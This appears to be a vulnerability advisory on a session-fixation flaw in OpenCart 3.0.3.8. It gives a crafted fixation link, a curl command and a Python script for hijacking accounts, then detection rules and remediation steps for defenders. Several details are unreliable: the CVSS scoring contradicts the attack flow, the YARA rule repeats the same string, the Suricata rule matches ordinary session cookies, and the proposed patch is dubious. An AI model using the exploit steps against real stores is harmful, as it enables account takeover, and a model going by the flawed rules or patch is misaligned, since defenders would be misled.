CVE-2021-47923

Executive Summary

CVE-2021-47923 is a critical session fixation vulnerability in OpenCart 3.0.3.8 that allows an unauthenticated attacker to hijack user sessions by injecting arbitrary values into the OCSESSID cookie. The server accepts and maintains attacker-supplied session identifiers without validation, enabling complete account takeover. With a CVSS score of 9.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability of affected systems. No official patch has been released, and exploitation is trivial via crafted HTTP requests.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – Victim does not need to perform any action beyond visiting a crafted link.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): High (H) – Full access to user data.
• Integrity (I): High (H) – Ability to modify user data and settings.
• Availability (A): High (H) – Potential to lock out users or disrupt service.

Threat Level: Critical. The vulnerability is easily exploitable with low complexity and no privileges, making it a prime target for mass exploitation.

Deep Dive & Mechanics

OpenCart uses a cookie named OCSESSID to manage user sessions. The vulnerability stems from the application’s failure to validate or regenerate the session identifier upon user authentication. An attacker can craft a URL or HTTP response that sets a known OCSESSID value in the victim’s browser. When the victim logs in, the server associates the attacker’s predetermined session ID with the authenticated session, allowing the attacker to reuse that session ID to gain unauthorized access.

Attack Flow:

1. Attacker generates a unique session ID (e.g., attacker_session_123).
2. Attacker tricks the victim into setting this session ID via a crafted link (e.g., http://target.com/index.php?route=common/home&OCSESSID=attacker_session_123) or by injecting a Set-Cookie header.
3. Victim logs in to OpenCart; the server binds the authenticated session to the attacker-supplied OCSESSID.
4. Attacker uses the same OCSESSID value in their own browser to access the victim’s account.

The root cause is the lack of session regeneration after login and the acceptance of arbitrary session identifiers from cookies without cryptographic verification.

Vulnerable vs. Patched Code

Vulnerable Code (OpenCart 3.0.3.8): In system/library/session.php, the session ID is taken directly from the cookie without validation:

public function start($session_id = '') {
    if ($session_id) {
        $this->session_id = $session_id;
    } else {
        $this->session_id = $this->createId();
    }
    // No regeneration after login
}

Patched Code (Hypothetical Fix): A secure implementation would regenerate the session ID upon authentication and validate the session origin:

public function start($session_id = '') {
    // Regenerate session ID on login
    if ($this->isAuthenticated()) {
        $this->session_id = $this->createId();
    } else {
        $this->session_id = $session_id ?: $this->createId();
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running OpenCart 3.0.3.8.
• Ability to deliver a crafted URL to the victim (e.g., via phishing email).

Exploit Steps:

1. Generate a unique session ID: attacker_session_123.
2. Craft a malicious link: http://target.com/index.php?route=common/home&OCSESSID=attacker_session_123.
3. Send the link to the victim. When the victim clicks and logs in, the session is hijacked.
4. Use the same session ID in your browser: curl -b "OCSESSID=attacker_session_123" http://target.com/index.php?route=account/account.

Example Exploit (Python):

import requests

target = "http://target.com"
session_id = "attacker_session_123"

# Step 1: Send victim link (simulated)
print(f"Send victim: {target}/index.php?route=common/home&OCSESSID={session_id}")

# Step 2: After victim logs in, hijack session
cookies = {"OCSESSID": session_id}
response = requests.get(f"{target}/index.php?route=account/account", cookies=cookies)
print(response.text)

Blue Team (Detection & Prevention)

Detection:

• Monitor for multiple requests using the same OCSESSID from different IP addresses.
• Alert on login events where the session ID was set via URL parameter (e.g., OCSESSID in query string).

Prevention:

• Implement session regeneration upon authentication.
• Validate that session IDs are generated server-side and not user-supplied.
• Use HTTP-only and Secure flags on cookies.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing OCSESSID in the query string.
• Logs: Login events with session IDs that were previously seen in unauthenticated requests.
• Cookies: OCSESSID values that are simple, predictable, or match known attacker patterns.
• File System: No specific file artifacts; purely session-based.

Detection Engineering

YARA Rule

rule CVE_2021_47923_SessionFixation {
    meta:
        description = "Detects session fixation attempts via OCSESSID cookie injection"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2021-47923"
    strings:
        $cookie = "OCSESSID="
        $query = "OCSESSID="
    condition:
        any of ($cookie, $query)
}

Sigma Rule

title: OpenCart Session Fixation via OCSESSID
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with OCSESSID in query string or cookie
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'OCSESSID='
    condition: selection
falsepositives:
    - Legitimate session ID generation (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47923 OpenCart Session Fixation"; flow:to_server; content:"OCSESSID="; http_cookie; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenCart to a version where session IDs are regenerated after login (if available).
2. Implement a WAF rule to block requests containing OCSESSID in the query string.
3. Manually patch system/library/session.php to regenerate session IDs on authentication.

Long-Term Fix:

• Apply the hypothetical patch shown in the Vulnerable vs. Patched Code section.
• Conduct a security audit of session management across the application.

Workaround:

• Disable URL-based session ID passing if possible (e.g., via .htaccess rewrite rules).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert